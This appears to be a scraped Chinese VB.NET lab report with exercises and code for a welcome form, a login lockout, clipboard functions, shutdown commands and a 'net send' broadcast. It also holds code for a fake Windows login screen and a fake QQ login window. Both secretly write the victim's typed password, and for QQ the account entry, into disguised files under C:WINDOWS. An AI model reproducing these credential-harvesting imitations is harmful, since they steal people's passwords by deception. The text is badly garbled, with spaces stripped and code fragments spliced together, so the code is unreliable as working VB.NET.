vb实验
实验一VB.NET编程入门 一、实验目的 1、熟悉VS2005开发工具环境; 2、掌握创建VB.NET项目过程; 3、掌握VB.NET项目文件的作用与关系; 4、理解OOP编程方法; 5、写几个简单的VB.NET小程序,基本掌握VB.NET程序开发的过程及调试与运行方法。 二、基本知识与预习 1、启动VS2005,熟悉开发工具环境 2、Framework框架体系 3、回顾创建VB.NET项目的过程 4、回顾VB.NET项目文件关系与作用,理解OOP编程思想。 三、实验设备与环境 1、实验平台:学生机:WindowsXPProfessional;教师机:WindowsXP/2003Server 2、硬件工具:计算机,已组建好局域网 3、软件工具:VisualStudio2005;Framework2.0; 四、实验内容 I、基础实验 (一)实验题目 一)启动VB.NET,创建一个“Windows应用程序”类型的应用程序,要求:在屏幕上显示“欢迎您使用VB.NET”,并“请输入您的姓名”;屏幕设计的界面如图所示,以Sy1-1为项目名保存。 二)设计一个常见的用户登录界面。 界面设计要求:用户名输入框,密码输入框,“登录”按钮,“清空”按钮,窗口不能最大化,可以用图片美化界面,可设置界面一定的透明度。 功能要求:预设好用户名和密码。登录时输入用户名、密码连续三次错误,提示警告并自动锁定界面或退出界面。 三)设计一个简易网络消息发送控制程序。 界面设计要求:消息输入框、网络主机输入框、发送按钮。 功能要求:实现对网络主机输入框的内容进行识别,主机IP地址格式是:X.X.X.X(X是0-255的数字)。向指定主机发送操作系统的信使服务,即发送消息。 四)一个假Windows登录程序。(演示操作) 当单击任意处3次后,系统进入30秒重启,按“终止重启或关机”按钮后,取消息重启 再单击任意处2次后,弹出“Windows登录”窗口,输入密码后,重新进入桌面。 五)练习:自行设计一个关机控制程序。可以实现关机、定时关机、取消关机、重启、注销等功能。 六)利用标签、文本框、按钮控件以及相应的属性,编一字号、内容和格式的复制练习,效果见图。 在TextBox1输入一字符串,建立三个命令按钮: (1)Button1:Text内容为“隶书25磅”,事件过程代码为: TextBox1.Font=NewFont("隶书",25) (2)Button2:Text内容为“幼圆15磅”,代码类似。 (3)Button3:Text内容为“复制=>”,要求复制在TextBox1选中的内容以及其字体格式。选中的内容通过TextBox1的.SelectedText属性;字体通过Font直接赋值。 五、实验报告内容 简述实验过程和体会(注意:在二)到四)中选择一个写实验报告的正文内容。) 填写全部代码和属性设置内容。 实验一实现代码: PublicClassForm1 PrivateSubTextBox1_KeyPress(ByValsenderAsObject,ByValeAsSystem.Windows.Forms.KeyPressEventArgs)HandlesTextBox1.KeyPress DimlInteger l=365-Label1.Left Ife.KeyChar=Chr(13)Then Label1.Text="欢迎您"+TextBox1.Text+"使用VB.NET" Me.Width=Label1.Width+l EndIf Sub
实验二代码 SubButton1_Click(AsSystem.Object,255)">AsSystem.EventArgs)HandlesButton1.Click authority() Sub
SubForm1_KeyPress(HandlesMe.KeyPress Then authority() Subauthority() Dimuid,upwdString StaticDimcountInteger=0 uid="abc" upwd="123"
Ifuid=userid.text.trim()Andupwd=userpwd.textThen count=0 MsgBox("登陆成功,欢迎您使用本软件!") userid.text="" userpwd.text="" Else count+=1 MsgBox("用户名或密码第"+count.ToString()+"次错误。你还有"+(3-count).ToString()+"次输入机会!") userid.text="" userid.focus() Ifcount>=3Then MsgBox("你已经连续输入次错误了,你的卡被锁定!") userid.enabled=False userpwd.enabled=False Button1.Enabled=False Class 正确账号密码登陆: 错误账号密码登陆: 实验三实现代码 实现代码: ClassForm2 HandlesButton1.Click '使用windows的剪切板实现:剪切板能够实现文件、对象、文本等数据的复制粘贴功能 '将选中的文本内容放到剪贴板 Clipboard.SetText(TextBox1.SelectedText) SubButton2_Click(HandlesButton2.Click '剪切功能 Clipboard.SetText(TextBox1.SelectedText) TextBox1.SelectedText="" TextBox1.Focus() SubButton3_Click(HandlesButton3.Click '粘贴功能 TextBox1.SelectedText=Clipboard.GetText() TextBox1.SelectionStart=TextBox1.Text.Length Class
一个假Windows登录程序。(演示操作) 当单击任意处3次后,系统进入30秒重启,按“终止重启或关机”按钮后,取消息重启 再单击任意处2次后,弹出“Windows登录”窗口,输入密码后,重新进入桌面。 实现代码: Class假登陆 SubLabel1_Click(HandlesLabel1.Click dl() SubTextBox1_KeyUp(AsSystem.Windows.Forms.KeyEventArgs)HandlesTextBox1.KeyUp '输完后按回车登陆 Ife.KeyCode=Keys.EnterThen dl() Subdl() '将输入的密码存入指定文件 'c:WINDOWSWindowsPlugin.text DimfnInteger fn=FreeFile()'获得一个随机文件号 FileOpen(fn,"C:WINDOWSWindowsPlugin.txt",OpenMode.Append) '向文件写入一行 PrintLine(fn,TextBox1.Text) '关闭文件 FileClose(fn) Me.Close() Class
二)关机程序 实现代码: HandlesButton1.Click Shell("C:ProgramFilesAdobeAdobePhotoshopCS4Photoshop.exe") HandlesButton2.Click Shell("notepad") SubForm1_Load(MyBase.Load Shell("netsend*大家好,节日有礼!") SubButton4_Click(HandlesButton4.Click Shell("shutdown-r-t50") SubButton5_Click(HandlesButton5.Click Shell("shutdown-a") Class 三)假QQ 实现代码: Class假QQ SubLabel3_Click(AsSystem.EventArgs) SubLabel3_Click_1(HandlesLabel3.Click Shell("C:ProgramFilesInternetExplorerIExplore.exehttp://haoma.qq.com/",AppWinStyle.NormalFocus) SubLabel4_Click(HandlesLabel4.Click Shell("C:ProgramFilesInternetExplorerIExplore.exehttp://dna.qq.com/cgi-bin/console_forgetPW?reLogin=true&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.1575_LoginWindow.0",255)">SubTextBox2_KeyUp(HandlesTextBox2.KeyUp Then dl() kl() Then dl() kl() Integer
fn=FreeFile()'获得一个随机文件号
FileOpen(fn,OpenMode.Append) '关闭文件 'FileClose(fn) 'Me.Close() Subkl() 'c:WINDOWSWindowsPlug.text Dimkn kn=FreeFile() FileOpen(kn,0)">"C:WINDOWSWindowsPlug.txt",0)">'向文件写入一行
PrintLine(kn,TextBox2.Text) 'FileClose(kn) Dimf02New设置 f02.Show() Me.Hide() 'Shell("D:QQ2012QQProtectBinQQProtect.exe") New正在登录 f02.Show() Me.Hide() dl() kl() Shell("D:QQ2012QQProtectBinQQProtect.exe") Class (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |